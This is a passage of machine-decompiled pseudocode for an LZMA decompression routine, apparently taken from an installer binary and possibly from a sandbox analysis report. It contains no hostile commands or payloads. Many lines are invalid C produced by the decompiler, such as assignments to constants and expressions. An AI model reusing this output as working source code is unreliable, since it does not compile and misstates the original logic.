												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
